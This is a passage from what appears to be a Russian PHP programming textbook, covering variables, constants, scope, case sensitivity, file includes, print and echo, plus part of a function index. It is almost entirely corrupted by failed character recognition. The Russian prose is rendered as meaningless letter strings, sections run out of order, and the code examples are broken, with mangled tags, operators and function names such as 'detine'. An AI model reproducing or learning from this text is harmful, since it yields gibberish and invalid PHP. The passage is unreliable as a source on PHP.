ke ceffuac. Bee nepeMeHHbE, KOTOHIE OGBABNCHS! B Tele QYHKIAH, BHIHH TOTGKO
BHYTPH Hee # SRISIOTC TIOKATSHEINH. 38 MPETETAMH (YHILH HAYEHHE TEpeNerHOR
YHINTOKGETCS, €CH OHa He OGBABTEA CIIEUMATHHBIN 0GPaI0M. BHYTPH GYHKILIH Bbt
MOKETE YBHIETD €¢ TOKATbHBIC EDEMEHHMIE (HO He OKATHHHIE TEDEMEHHHE ApYTHX
e PR -——,

2.4.6. KoHcTaHTar

Kocmanmi — 970 0cOGHE EPEMENHSIE, KOTOPHE HEb33 HIMEHATS MPOTPAMMHBIN
‘0GpE30M. HM HEb33 MPHCBOWTS SHAUEHHE BO BPENS PAGOTH! ClIEHAPHA. JHateHve YoTa-
HABTHBACTCA TOTBKO NP OGBABTCHMM W ACHCTBYET HA TIPOTAKEHHMH BCETO BPEMEHH WX
e

KOHCTATH! XpaHAT SHAYEHHA KIKIX-THO HACTO HCTIOTG3YEMBIX SHCEn Wi CTpOK. Ha-
NIDHMEP, Ball AT MOAET GHITb 3apOrPAMMMHPOBAH NIOZ /U3aliH CTPAHMI WHDHHOT
640 mnxcenon. Ecan » PHP-xoe nenomsaosars wncrio 640, To npi nepexoxe a Hopit
Jwsalin ¢ wmpHHOH 800 THKCENOB MPHIETCA WIMEHATH MHOTO CTPOSEK KOTa, M HET
FQpAKTHH, WTO BB HKHETO He YIYCTHTE WIH He 3aTPETe CYWaliHO WHCio 640, KoTopoe
YKaSMBAET He WMWK, @ WTO-TO Apyroe. Ecan b Havane dailia OGBABHTS KOHCTaNTY,
KoTopas GyzeT panna 640, & IOTOM HCIIOTLIOBATS €€, TO AOCTATONHO GYAET HIMEHHTS
TOBKO SHAUCHHE KOHCTAT, 1 KO YT PAGOTATS KOpPEKTHO.

51 PEKOMEHIYIO BCETAA IDHMEHAT KOHCTAHT WTH XOTS Gbl TISPEMEHHBIE, €T KAKOE-TO
MMEAO WA CTPOKa METIOTEIYETCR B KOZE Gonbine oxvoro pasa. Hanphwep, ccm HyHO
OBPATHTLCS K WHCAY T, TO He CTONT IHCATS HENIOCPEACTBEHHO 3. 14. CovtaliTe KOHCTAHTY
W OGpaualiTech K Hell. A BIPYT MHD TIEDEBEPHETCH, # WHCAO & PEBPATHTCR B 5.727
(Illyrxa.) Ha caxow feie, 10 TakoR CTETIEHM MHP, CKOPEE BCETO, HE TCpEBEPHETCA, HO
B e HCTIOTS30BAHHE KOHCTAHT AEAACT KO €Il W KpAcHBee. Bbi He MPOCTO YMHOKAETE
WA TETHTE Ha HHCAO, Bb1 HCTIOTH3YETE HMGHHO 7.

S 4 HICTO COVIANO KOHCTAHTH, A KOTA HCTIONb3YIO HHCTO WIH CTPOKY BCero
Ot pas. MHe pOcTO KAAETEA, 470 370 YI06Ho,

LT3 XpaHCHHS TAKIX KOWCTAHT WIH TIEPEMEHHBIX MOAHO COVIATH AKE OTACTHHH
aiin, Koropi Gyer noAKTOaTLCA Ko Beem PHP-daitnan sauiero caira. Tlo caoemy
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1ech COMUOTCA ABE NEpeMEHHHIE S3tE1  S3E2, 2 B NEPEMEHHYIO Sstx 3aMH
PESYILTAT WX OGHEIMHENHS, T. . B Hell Mol yBIM: "JT0 TecToBas CTPOKA'.

2.4.5. O6nacts BuaMMOCTU

Bee nepemenmsie # YHKLMH HMEIOT OBTACTS BAIAMOCTH, T. €. CYIECTRYIOT yuacTkH
KOA, T€ WX HaNEHHE AOCTYTIHO. 32 NPEETANIH OGTACTH BHIHMOCTH TiepeMEHHbIE ab-
TOMATHIECKH YHHSTORGIOTCA WIH TIPOCTO HEZOCTYIHH! (HEBHMM:L). 30 Mperenavh o6~
TACTH BHAMOCTH Bbi MOKETE COBIATS TIEPEMEHHYIO C TEM e HMEHEM, HO 10 GyIyT
PASHBIE YHCTKH TIANATH, K TOMY K€ HEIABHCHMME PYT OT APYTE.

Bee nepemeniie b asbike PHP ABIAIOTCA 1OGATHEINK, €CTH OHH He OGBABIEHS BHYT-
PH KaKOFi-HHGY s (GYHKLIH. DTO HANHT, WO €CTH TIEPEMEHHYIO OGABHTE B CAMOM i
wane baina, T0 OHa GYJIeT CYIIIECTROBTS A MPOTSZKEHMH 06PaGOTIUN BCero Gaiina 1 ce
NOAHO HCTIOTSIOBATS B T10GOM MecTe. B AaHHOM CAyvae OGIACTS BHANMOCTH — Teky-
i pal, W TCDEMEHHA YHHMTOKMHTCS TIDH BBIXOAE W3 HerO.

KaK Mt saweTin panee 5 pas. 2.1, KOTIA WoYSATH NHOKECTBEHHOS MEpeKTIOUEHHE
wewny pexcman HTML 1 PHP, nepesenrsic MoryT G ofbannems:  oawow PHE-
KOA€, @ HCTION3OBATHCA B APYTOM (THCTHHT 2.6).

TucTHAr 2.6, Pas6uenwe PHP-<0Ra Ka necKkonuKo 6noxon

<ntml>
o>
<titie> Vision </title>
<nac>
wody>
<> Hello
P> <2php $1 =1; print("this is php") ;7>
<p> i = <2php print (s1) 2>
</pody>
o>

B 1HHOM NIDHMEPE MIEPEMEHHOT TIDHCBAHBAETCA SHAYEHIE IPH MIEPBOM BXORAEHHH
5 peunt PHP, 2 HCTIOS3Y€TCS NEpeMCHMas B0 BTOpOM. 10 BIIOTHE HOMATbHAS CHTYA-
. TlepewenHan Gyzer NeHCTBHTEALHON 1 BO BDENA HCTIOTHIOBAHHA GYIET CONEpAATS
anaserme |

Ecan y sac ecth asa aiia index.php 1 download.php, a riepesennas incex oGbaBTCHA
& aiine index.php, To TpH Nepexore Bo BTOpOH (aliT JaHHAA NEPEMEHHAR CTAHET HEBH-
MO 1 ee 3HaveHHe GyAeT HeaoCTYINO. ECM MOMMTaTSCR OGATHTECA K NEpementof
Sirvdex w3 Gaiina downioad.php, To ee IHaueHHE GYIET MYCTHIM, IOTOMY 4O 5TO Yke
Apyroit yuactox nass. B Gaiine download php B MOETE HCNOTHIOBATS MR Sirclex
LA TIEPEMEHHBIX H WSMEHATS €€ SHAYEHHE, HO IHANEHHE OTHOMMEHHOH NEpeNENHOl 1)
index.php HikaK e HmenvTCS,
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HroGit y Bac GHUIO MeHBIIIE OWHGOK B MPOTPAMMAX, TIHLIVTE BCE HMEHa. IEPEMERHHX
B OTHOM perwcTpe. 51 PEKOEHIYI0 HCTIOTS30BATS HIDKIH PervCTp V1A BCeX GyK. B ITOM
‘Y8 BEPOATHOCTS HETIPABHTHHOTO TOTKOBAHHS KOA CHOTHTCA K MHHHMYMY.

HO 370 OTHOCHTCR TOTKO K mepemeHHsM, OnepaTopst A3eika PHP MOryT G manvca-
it B 1050M perwcrpe. HANPAMEP, €CT OEPATOP YCIOBHOTO MEpexona

if (yonome) secrauel else asicrane?

KOTOpEili IIPOBEPACT YCAOBHE, W €CTH OHO BEPHO, TO BHIIONHAETCA zeficrave1, HHAHE Bbl-
nomMACTCR zericraite?. HTaK, MOGMOTpHM 1a caeyiouuii Kox:
ey
Sindex
1f (sindex==1)
prine (erue’)
else
print(‘false’);

JHEch Boe HAIHCAHO B HIDKTEN PETHCTPe, HO HHKTO He MELIAET HATIHCATS 3T0 B BEpXHEM
perHCTpe win 1wKe BrIEpeMEwKY:

It (Sindex~=1)
print(true’);
ElsE
print(*false’

JAech KIIOYEBHIE CI0BA 1 1 clse COTEPKAT GYKBH B PASHAIX PETHCTPAX, H 5TO HE ABIS-
761 OGO, OAHAKD A PEKOMCHIYIO BCE-TAKiH THGATS KIIOYEBHIC CIOBA B HIDKHEM
PETVICTpE, MOTOMY ST B GYAYLIAX BEPCHAX MOKET TIORBHTHCA HYBCTBHTENLHOCTS K Peri-
TPy STHX KOMAHA, H TOF NIPHIETCA TIOTPATHTS MHOTO BPEMEHH Ha HCTIpABAEHHE OLIK-
GoK. X0TA & HE 0C0G0 BEPKO B TAKOE PASBHTHE COGBITH, THCATS BCE B HIKHEM ETHCTpE
TSI XOTS G IOTOMY, 'To TaKoft KOX BHIIAZT KpACHBO. A KpacHBHIH Ko IpHSTHEE
“BTATS, W ¢ HiM yAOGHEC paGOTaTS.

2.4.3. TlepemenHsre

M1 Y HEMHOTO rOBOPHTH O TIEpEMEHHEIX H SHACM, \TO Aepenennas — 10 oBnacTs
BMATH, B KOTOPOH MOHO XPAHHTS KKiHe-TO SHAUCHH H OGPALATECA K 5TOH NaMATH 110
e, Hau HEBDAHO, T GYAYT XPAHHTHCA TIEPCMEHHBIE, TIOTOMY “TO X SHaNCHMA
BCETIA MOKHO IOTYHT WIM HIMEHHTS, Herionbays Wwena. Tlepenernie B PHP obna-
20T CAeAVIOIAMH CBORCTBAMM.

O Boe HMeHA MIEpeMENIX JOMKHH HAHHATLCA CO SHaKa ZOATAPA (5), M 110 TAKOMY
HaKY WHTEPIPETATOP OTIPEIEAAET, HTO 37O MepeMEHHA.

O Ecith bt paGoTali ¢ TaKiwH 36IKaw# NporpasmypoBaiis, kak C-++ w Delphi, To
3HaETe, HTO TIEPEMEHTHE AOKHE GHITh CHAATA OGHABIEHE, 4 TIOTOM YAE MOTYT HC-
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Hy0). B FBHOM BILIE TAKHE MEPEMEHHE HE HCTIOTIYIOTES, HO STOT THIT HEOGXOTHM
1A TOHMMAHHA SOTHECKIRX Orepau. HATpHMED, Mbi YK€ PACCMATPHBATH ONEPaLIIO
i€ .e1se, KOTOPAA IPOBEPAET KaKOE-THGO YC0BHE. ITa NPOBEPKA KAK PA3 H BOIBPAIACT
OTHHECKOE IHAHEHHE e WTH false. ECTH YTBEPAICHHE BEPHO, TO PESYLTATOM GyeT
HETHH, WHAYE 0D,

'ECTH KaKeS-TO TIEpeMeHHas HCTIOTb3YETCR paibile, Y€ e TPHCROEHO IHANEHHE, TO G-
€T MPHCBOEHO SHAYEHHE 110 YMOTaHHIO. Kak K€ OTIDEIENHTS HAYEHHE 110 YMOTIBHHO,
ccam HewsmecTen THN? THI MOAHO CIERATh H 11O KONTEKCTY Koa. Hanpiwep, eci 1ax
TIEPEMEHTON BHTIOTHACTCR MATEMATHHECKaR OTIEPALI, KOTOPA TIONpATYMEBAET HCTIO-
S0BAHHE HCTE, TO NiepemenHas bepHet 0. ECTH IT0 CTPOKOBAS OTIEPALI, TO PesysTa-
Tow Gyer nycras cTpoKa.

KaKk y3HaTh, IPHCBOEHO W SHAYCHHE TICDEMEHHOM, €CTH OHA BCCTA BOJBPALLACT XOTR
bt mycroTy W 07 JLTA 3TOrO €cTh GYHKIAR Ssset (mcr mepewennsof) . ITOH QYHKINH
HYAHO TIEPEAT B KAYECTRE NIGPAMETPA B CKOOKAX M TIEpEMEHHOM, H €CIH O COzep-
KUT SHAYEHMHe, TO PESYALTATOM GYIET true, HIHE false. PACCMOTPHM pHME, per-
cramncup b THCTHHTE 2.5.

[ rrmy—)

<oprp
L (1sset (Sindex))
print (‘Nepeweisan yoranoatena’)

else
priat (‘Mepaweinan He yoranomtena’) ;
Sindex = 17

1€ (1sset(Sindex))
print ('Tepeuewnas yeranosnewa®
else
Print('Tlopeueknas W yerawosnewa’); // Tiepewewnas He yorawosnewa

TIoce MiepBoil MPOBEPKI M1 YBHIIW, 4TO TIEPEMEHHER $index He YCTaHORTEHA. JaTen
B Nepemennyio sanCHBACTES IHavcHie. BTOpas TPOBEPKA TIOKAET, ¥TO NEPeNCHHER
ke yeranomena.

Tak Kak y CPeNCHHBIX HCT OMIPEETEHHORO THIA, Mol MOXeM MPHCBAHBATS M 41O
YTOHO, & CHCTEMa yoKe cama PaiGepeTca, HTO aTTHCHIBTE:

Sindex = 1, 11 neno
s1 =300 /1 Basecracioe wicno
$stx = '3m0 crpora’s  // Crpoka

T nepemeHOM OTPETAETEA 110 KOTEKCTY, B KOTOpOM oHa HaxoawTes, Hampiviep:
ssex = 110
Sindex = 2 + $stx;
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nonssoatscs. B PHP oGsannenns e sangiorcs obmaatens s, [lepemennas Has-
HACT CYUIECTRORATS © MOMEHTA MIPHCBOGHWA i SHASEHIR WIH C MOMEHTA TIEPBOTO
HCTONb30BaHKA, ECTH HCOTHI0BAHHE HASHHAETCS PAbIE TPHCBOEHHS, TO MEpe-
MeHHAs GYZET COTepATS JHAUEHHE 110 YMOTHaNIO (B JABHCHMOCTH OT HETOTE0R:
HHA TIEPeNERHO 970 GYAET HYEROE SHAUCHHE WIH MYCTAA CTPOKE).

O Tlepemennoli e asHauAETCR OMpenenenHIA THIL THI OMPEIETAETEA XpRHALIMC
amaieHMeN 1 TeKymei onepaueit.

Hius nepemenHoH HauHHACTER CO 3HaKa 5, M0Ge KOTOPOFO JOMKHb! WITH TIoGHIE TaTHH-
ciie GyKebi, WAGPH WK Hak NOTepkHBana. Ho NEpabim CHMBOOM mocie 1K $
obwaTensHo omKHA GbrTh Gyksa. CTapaiiTech JaBATh MEPCMCHHLIN HMeHa, KOTOpHIC
GYIYT OTPXTH CMBICA COTEPKAILIETOCA Haseins. ECTH BCe MepeMeHHHIE HATHBATH Kak
Spazant, Spazanz, Sparard HT. I, TO 110 HCTENEHHH HEKOTOPOTO BPEMEHH Bbi HE CMOKETE
BCTIOMHITS, 115 HETO Bbi OGHARIATH MIEPEMEHHYIO C MMEHEM Spazan?, MTO OHA AOTKHA
XPAHITS H KIK HCTION3OBATCA.

TIpn WeHOBaHWH mepemenHOf OGATEEHO HenoTEaYHTE CMBICAOBYIO Harpysky. Ha-
PHMEP, €CH BaM HYKHO COXPAHHTS F1-TO CYMMY KAKINX-THGO HHCE, TO SABEIHTE 1A
STOro nepewennyo Ssum. Eca bam My en cueTauk (Mbi GyJew paccMaTpHBaTs X mpi
OBy AICHMM UMKTIOR), TO XOPOLIMM BAPHANTOM SBTACTER M3 51 ITO OBWENpHHATOE
W43 IpH PaGOTE Co CHETHHKANH

JI7A SaMHCH SHANEHHS B TIEPEMEHHYIO HCTIOAEIYETCA SHAK paneHcTsa (=). Crepa yKashi-
BAETCA MR TIEPEMENHOFE & CTIPaBa — SHaUEHHE, KOTOPOE HEOGXOLINO B Hee JamHCaT

PR —

B PHP ccr, Tpi OCHOBHBIX THIQ TIEPEMEHHBIX — WHC0BOM, CTPOKOBBIH M TOTHYCCKHH,
C epBbMiH BYMS Bee IORATHO. ECH 3T0 SHCI0, TO MEpEMEHHaR COTEPANT HHCAOBOE
SHAEHMHE, H MBI YKe HCTIOTISOBATH TAKHE TIEpeNeRHbie. TIpH OGBABIEHHH CTPOK 3Hae-
e JAKTIONAETCA B ABOHHHIE HIH OTHHAPHHE KABBIAKH:

sstx = 1970 crpora’s

sstz = "370 crpora”

CTpoKoBbIE MepeMeHHBE MORHO PAGHBAT Ha HECKOTKO CTPOK, €CTH BBl HE XOTHTE,

HTOGHi B OKHe PEAAKTOpA CTPOKA GBUTA CTHIIKOM JUIHHHOR, DTO J€TGETEA CTenyIOuM
ofpason:

Sstx - "his is a scring.
PHP 15 a next generation of WEB programing.
You will like this";

KaK BHAMTe, pasienehie IPOHCKOMHT ZOCTATONHO MpocTo. He HYAHO HKAKHX 10707~
WHTETBHAX YCHIH: TIPOCTO MEpEHOCHTE Bee a HoByio crpoxy. Himepnperatop PHP
M OTIDEIEAHT HAYATO  KOENL CTPOKH 10 KABKISKAM, OTIEAIOUIM CTPOKY. TTpH STOM
Bce MPOGEI 1 CHMBOTI TIEPEBOTA CTPOKH, KOTOPHIX MBI He BIMM, TaK Ae CTaHYT
HACTHIO CTPOKH.

A ¥mo Taoe norwecinit TAn? Takas MepEMEHHAN MOKET COTEPAATS SHAtEHHE true,
. €. HeTHHa (moGoe IHavenne, GoTbiiee HYIS), WIH £alse, T. . JOKb (SHaUCHHE, PABHOE
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OMIITY MOy CKESATS, 'TO HCTIOTSOBAIHE KOHCTAHT MOXET JaMETHO YIPOCTHT CONpO-
BoKIeHHe Bauiell IPOTPAMMS! H BHECEHHE H3MEHEHHT

EcH Bee TeKCTOBHIE CooGieHHS GyIYT XPAHHTBCH B OTAENsHOM dailTe B BHIE MepeMeH-
HHX, TO TAKiM OGPA3OM B CMOAETE CHKOHOMHTS BPEMS H YTIDOCTHTS JIOKATHIALMIO
nporpavsi Ha Apyrwe ssbiki. Hanpisiep, i Qaii C KOHCTAHTAMH MOXET GhiTh
TIPEIHASHAEH TR PYCEKOATHISHOM MPOTPAMMbL, @ APYTOH — JUT% aHTAOA3BIaHOR, Havee-
HEHWE 3351Ka MOXHO MPOWIBOITS MOAMEHOH (Baiia WIH € MOMOILBIO NOAKTIONCHHS O1-
HOTO W3 HHX, B 38BHCHMOCTH O BHIGOPE MONB30BATENS.

B HMEHSX KOHCTAHT, B OTIHHE OT MEPEMEHHEIX, HE HAIO BHASATE CTABHTE CHMBO 5.
UroGai cpasy GbiTo BIHO, 'TO 37O KOHCTANTS, WX wwena muauym Gomwuaonu Gyseax.
PACCMOTPHM, KaK MOXHO COBIATS COGCTBEHHYIO KOHCTRHTY. JUTA 3TOO MEmomsayeTs
GYHKUHA define (), KOTOpOH HYHO IEDEIATS B KAHECTBE IEPBOTO NAPANETPA HA KOH-
CTalTH, @ B KavecTse BTOpOro — ee IHatenve. HATPHMEP, BaM HYAHO COSTATS KoHCTaH-
Y, KOTOPA GyeT pasiHa sHaY€HHIO . JLTA STOTO HATHIINTE CTETYIOLIAH Kon:
detine('RTY, 3.14)

Sindex = 10 + PT;

print (Sindex) s

B AGHHOM MpHMEpe Y HaC OGHABTEHA HOBAA KOHCTAHTA BT, KOTOpas pasa whery 3,14,
BO BTOpOii CTPOKe SHaYEHHE KOHCTAHTH! YMHOKACTCA Ha 10 W 3AHOCHTCA B iepeNieh-
Y10 3index. B MocieaHeli CTPOSKE SHAYEHHE TIEPMEHHON BHIBOINTCA Ha SKpaH,

Kak Ml yKe 3HACM, WMEHSTS JHauEHHE KOHCTAHTH HETB34, NOSTOMY CleIyomas
saHch GyIeT HeBepHOH 1 BLISOBET CooGIeHHe 0 OuIHGKe:

detine("PT", 3.14)

L= 10+ 314

2.5. YnpaeneHue BLINOSHEHUEM MPOTPAMMEL

Kox IpOrpaMMsi He MOKET GbiT IPAMOTHHEFHIN, IOTOMY \TO BGETAA €CTh KaKHE-TO
JCAOBHA, OT KOTOPHIX MOKET JABHCET BHTIOTHEHHE TpOTPanMbl. ONei HaCTO HaM HAZO
TpOBEPATL TaKHE YCAOBHS W PEATHPOBATH COOTBETCTRYIOWIM 0GpaoM. JIoMyeTHN, 4To
Bb1 THLETe CueHapHi CABHOR CTPaHWI Caifra. KOTAR MOAb30BATEh 3aXONMT Ha CaiT
BB pa, Bt MOKETE MOKA3ATH €My AOTIOTHHTENHYIO MHGOPMALIIO HIH KPACHBYIO
TIPEEHTALLI, STOGH 3AHHTEpECoBaTS €ro. TIpH TIOCTEAYIONIEM BXOE 9Ty MpESCHTAIIO
MoRHo ommowTs. Ho Kak 370 Gyzer muirszeTs b Kone cuerapw? Jloria Gyzer npu-
MepHo creayioutel

3 ccam nonw30BaTeH BowIE B MEPBbIH Pas, TO OKASATS IE3CHTALIAO;

3 MHase cpasy OKE3ATS FAGBHYIO CTPANHLY.

JInA TOrO MTOB CuieHapwi Gt HATEKHSIM H GESONACHAN, HAM HEOGXOTHMO BHTIOTHHTS
NHOECTBO poBEpOK. ECITH Batl CUCHAPHH 0KEH OTIIpABAATS TIONTOBOE COOGULEHHE,
o HeMIOXO GbLIO Ght NIepe OTNPABKO NPOBEPAT MPABATGHOCT JANOTHEHHA ATPeca
email
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Sindex=10+10;
Sindex=
10

C roukn 3petins PHP Bech 3T0T Ko KOPPEKTH # Gy 1eT NpABHTLHO HITTEpIpeTHposa,

Kannas xomanza » PHP sakansusactes Touxof ¢ sanstoi (;). Taxim o6pasom wrep-
NPETATOp OTIETAET OZHY KOMAHIY OT APYTOM. He 3aGbiBaliTe CTABMTS 3TOT SHAK, NOTOMY
7O H3-33 €10 OTCYTCTBA MOTYT BOSHHKHYTh COBEPUICHHO HETIPEAICKA3YEMHE OLIHGKH,
110 KOTOPbIM TPYHO OIPENEHTS, HTO OTCYTCTBYET HMEHHO PASIETHTE KOMAHL.

AAro%aps PAVIETHTEIO OTHY KOMAHIY MOXHO SaTTHCKIBATS B HEGKOTBKO CTPOK M He-
CKOTILKO KOMa1 B 01y CTPOKY. HHTepIpeTaTop cuoxer HalfTh HA4&TO H KOHeIl Kowak-
1 M0 payzenHTeTo.

Stk PHP wyecmsumenen x peaucmpy cunonos. o IHaNHT, ¥TO HMEHA IEPEMEHHBX,
HATIHCGHHSIE B HIOKHEM PETHCTPE W B BEDXHEN, GYIYT BOCTPHHHMATICA KaK PasHii.
MHOTHE HAUHHAIOUIHE MPOTPAMMHCTH! JOMYCKAIOT W3-32 ITOTO OYEHS MHOFO OUIMGOK.
PaccmoTpHM phvep:

<xphp

Sindex = 10;

Stndex = 20;

print (sindex)

print (sTndex)

B pesystate wst yowmm crasana aweno 10, a noTow 20, TIOTOMY §TO mepeweHHbE
Sirdex # $Tndex GYAYT BOCTPHHHMATECA KAK DAJHBIC W3-38 OTTHYHA B PETHCTPE NEPBO
Gyxoi. Ecam Gbi PHP Gout He SYBCTBHTESHHIM K PETHCTPY, T0 OGE MepeeHHbIE YKash-
B Goi wa OxHY W Ty ke sueiiky nawo. B IToM CIyuac B MepBOH CTPOUKE KOA Mt
sanvcan Get B 9Ty AY€HKY NAMSTH SHCO 10, BO BTOPOT — 20, & MOTOM ABDKIH Harte-
“aTazn Goi 3aseHme OTHOM H Tofi Ke SHEHKH NAMATH. CHLIKOM MHOTO (G0, B peats-
HoCTH WX Her.
Fira, GyabTe BHMMATNSHbI MpW HCTOTB3OBAHMH WMEH TiepeMeRHbX. CreAyIOIHH KO
JACT He TOT pesyTSTaT, KOTOpbIH Bbl OXHIATH:

<php

Sindex = 10;

print (sTndex) ;
Inech Mol TepeMEHHOM 51ndex NIPHCBAWBIEM FHateHMe 10, & BLIBOTHM H NewaTaeM rIEpe-
MeHyko STndex. F3-3 TOTO SO 3T NEPEMEHHTE DA, Ha IKPaH OYIET BHBERCHA
$1ndor, KOTOPOM He GhiTo IPHCBOCHO SHAEHHE, @ JHANHT, B PESYATATE M MOTY4HM
B61B07 Ha OKPAH MTYCTOR AHEHKM NAMSTH, H NOTSIOBATENs HHENO He YEHINT.
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T 2.4, pwMep GaANa, NOAKTIONaIOWIETo IaroNoBoK  noAsan S|

<7php include(*header.php’) s 7>

<npasronoox paszena</ni>
<p>A pan npusencraOBaTL DAC Ha HaweM TecTOBOM
cative  370% ueranpoczon crpaiaie</p>

<7php include(*footer.php') 2>

B mcrure 2.4 npescTaBTeH npMep BoMOAHOR B CTpaHISL. ECTH Hykia e
onma crpanntia O caiire, To coviaes eue oz PHP-Gaik, b Hex MoAKTIONAEN e Cy-
LECTRYloUH# 3ATOT0BOK H NOABAY,  OCTACTCS TOTKO HATHCATS LUCHTPATHYO HaCT,
KOTOPAR YHHKATSHa 1A JaHHOR CTPaHWILS.

KaK BHINTE, HAM HE HATO THCATD GOTHILIOE KOTHYECTBO KO /A 3aT0I0BKa H OABLIA.
JIoCTaTOHO L TIOZKTIONHTS 5TH alTel W HCTIOTHIOBATS B CBOWX MPOCKTAX. Takiny
OGPA3OM YTPOULRETES He TOTHKO CostaHe Baio, Ho W MX OIEpAKa. IOMyCTHM, ST
Baus caifr cocrowt 3 10 Galiios, H HYAHO 10GABHTS Ha calfT HOBbIH TyHKT Mero. Tlph
Heronbsopanuu crarseckoro HTML npwieTea wswenns sce 10 dailion w sarpysuT
WX Ha ceppep. B c1yHae CaliTa 13 TPEX HaCTeM I0CTATONHO W3MEHHTS TOTKO OTHH aiin
SATOT0BKS, H Beck CaiT MpUMET HOBbi BHEwHI B

Obparve siNaiHe, 41O Bee MoAKTOUaENHE Gaiie Mt e 1a HTML. Tlo ywos-
wanno moTKToNaeNse Gaikel socnpHNEIOTCs Kax HTML-KOR, & U TOT0 T06 He-
1016308 B Hiex PHP-HHCTPYKuH, HEOGXOMMB TerH <2ehp W 7.

e saur aila T0mKeH conepaTs ToK0 PHP-KOT, To HYKHO B CaMow Hasiare riepeii-
T B pesxinn PHP C IOMOUIBIO <?prip # B CAMOM KOHUE TIOCTABHTS 2> JUIA BHXOZA U3 pe-
knia PHP. CAeuTe 5a Tew, STOGH 1 710 Mepexona & pexsm PHP, i roce B6xoza w3
1070 pemina e Grur0 nyenmx cmpox wiu npobenos. Kax Mt Yoke awaew, Bee, W0 pac-
O7ArGETCs BHe STH WHCTPYKLIM, BoCTpHHHMaeTcs Kak HTML-Kox, w awumiii npoGen
WIH TYCTAA CTPOK MOTYT GoIT: BOCTIDHHATH GPayIepOM Kak SEMEHT GOpMATHPOBAHHS
(Guanw Takve poGEMs, 0coberto 110 noABTeHns Internet Explorer 7), 1 nOTom Bbi 107~
FO Gy IeTe HOKTS, OTKYIa BIIOCH AHIINIEE MCTOE MPOCTPAHCTEO HTH MpOGE.

(Cpasy paceMOTPHM MpoGIes! GE3OMACHOCTH, KOTOPHE MOTYT BOSHWKHYTh IpH NOAKITIO-
e Qaiinos

'Bo-TiepBbIX, KENATENBHO He AaBATH MOTKTIONAEMSIM aiLTaN PACIIMPEHHE, OTTINMHOE OF
Php (7 ApyForo pacuIMpeis, KOTOpOE 3aPTHCTPHPOBIHO Ha CepBPE B KASCCTBE Hit-
TepnperHpyenoro). Pasbinie Ghio MPHASTO AQBaTh NOTKIONAEMBIM Gainam pacumpe-
e inc (oT avr. include — MPHCOETHHATS). O YI0GHO, HO HeGesonacko, ek b Gali-
€ HAXOIHTCA KO W1l MepeneRtbie. JIETo B TOM, HTO XaKep MOKET OGpaTHTLCA K daitny
Hanpswyio i Gpaysepa. HWKTO e anpeinaeT Xymrawy WamicaTh B aapecHofi cTpoke
URL suza: hitp://aai-caim/header.ine, n Gpaysep nepet nonbsosatemo sech bain
BMECTE ¢ KOZIOM. JTOYMBILUICHHAK MOXET YBWIETh Ball KO WIH GpaMETPBi, H ey
TIpOILE GYET HCKATH YAIBHMOCTH. OOBEHHO, ECTH CPEIH TIPAMETPOB OKEAYTCA fia-
pomm

HroGs wieRats 370r0, aaafite cew dafiiam pacupenme php. Ecw xakep nonbrract-
% oGpaTHTECA K aiay 3 Gpaysepa Hanpawyio: bttp:/leaiu-caim/header.php, Web-
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feof() 95 9 phpinfo() 22
foeil) 93 9 preg_match) 126
fgets 91 9 preg_maich all) 126
fgets() 92 o preg_split) 127
file) 92 0 print) 21,27
file_exiss() 96 0 psockopen() 219
ieatime() 7 0 readile() 93
flectime() 96 9 require() 24
filesize) 97 0 require_once() 24
Siler_var() 127 9 rewind) 9
fopen() 89 9 session_start) 79
fpasshru() 93 9 stcookic) 84
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fsockopen() 219 0 socket_comnect) 219
Rel) 96 0 socket_create() 218
frite() 94 0 socket lisen() 219
gethostbyaddr() 216 0 socket read() 221
gethostbyname() 216 0 socket st blocking() 221
gethostbynamel() 216 9 socket_set_timeout() 221
sctimagesize() 206 0 socket_stremor() 218
setservbyname() 217 0 socket_write() 220
setservbyport) 217 0
himispecialchars() 113 5

3

o

3

u

Lcn 48
is_witable() 97 9 for 48,51
iset) 34,66 9 while 50
mail() 230 9 Gecxoncans 51
menypt_ech() 153
mds() 154
mkime( 85 "'
move_uploaded.fle() 202 Uyserimenswocrs 30
mysal_close() 133
mysal fetch_amay() 141 w
mysql_fetch_row() 133
mysql_num rows() 133 Wingposame 151
‘mysql_query() 132 0 acwoerpianoe 153
mysql_real_escape_sting() 142 © neobparimoe 154, 156
mysal_select db{) 132 0 cmaerpnoe 152
ob_end_flush() 193
ob_get_contents) 193 3
ob_get_length() 193
ob._stat) 193 Inpapoanne 139

passthru) 109 Dnextpontas nowra 228
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CymecrayeT 18 papHaiTa Bui308a yHKUMH echo ()¢
echo("Hello, this is a text
echo "Hello, this is a tex

B nepBoM ciTyuac BHBOIMMAR CTPOKA YKAJHBAETCA B CKOGKAX, a BO BTOPOM CIy4ae —
wepes mpofien. 6a BbII0BA IKEHBAICHTHb, H BEI MOKETE HCTOTKIORATS TOT, KOTOPHE
san Gombie nomxowr.

DYHKLNA prine () OTIHYGETCH TEW, TO MOKET BOIBPALIATS JHIHEHHE, YKATHIBAIOULEE Ha
YOTeWHOCTS BHTOTHeHWA 3a7atH. ECTH GYHKUNA BepHyTa |, SHAuHT, ewaTs, npousta
Yaasmo, nravie ywwivan neprer 0.

CTPOKM TpH MENATH MOXHO OGPAMITTH OTMHADHSIMH WK JBOMHMIMH KaBHAKaMH.
PesyIbTaT GyZeT He OIHHAKOB, 1I03TOMY HYAHO HETKO TIOHHMATS PasMLy. ECAM TeKeT
OGPaMTEH ONMHAPHHIMM KABHIKAMM, TO OH BIBOTHTCA KAk €CT. ECTH HCIIOTb308aTHCY
ABofiNbie. KaBbIYKH, TO CTPOKA CKAWWPYETCA Ha WATHIHE NepeMeHHBIX. Ecin bHyTpH
CTPOKH HAILAEHO MM TEPEMEHHOH, TO GYIeT BHIBEIIEHO IHA4eHHe, a He nepemernas. Ha-
npiep:

svar = 10;

print ('lepeuennan Svar=".Svar);

echo />

print

lepeuenias Svar:

var)

Flech A JBAIS THTAIOCH BHIBCCTH SHANCHHE NepemenHOM Svar. Tlepbhii Bbi30B ByHK-
W print () BebeeT Ha JKpan Tekcr "Tlepewennas Svar=10". Hecwotps Ha 10, 410
BHYTDH CTPOKH HAXOIHTCA WA MEPEMEHHON, B PEIYILTATE Mo BHIHM MMENHO €r0
(3vax), a e snasenvie. OGPATHTE BHWMAHHE, KaK K CTPOKE JOGABISETCS HATCHME Tiepe-
MEHHOH — TP NIOMOIL TOMKH, & He CHMBOTA oK e, Konsamenaius (coemente)
TpOK B PHP NpOHCXOHT ¢ nomouybio mowkis, EGT yxio oGbemmims crpox "Hello"
W "World" s oy, To 5T0 MOHO czeaTs TaK:

“Hello® . ® . "World®

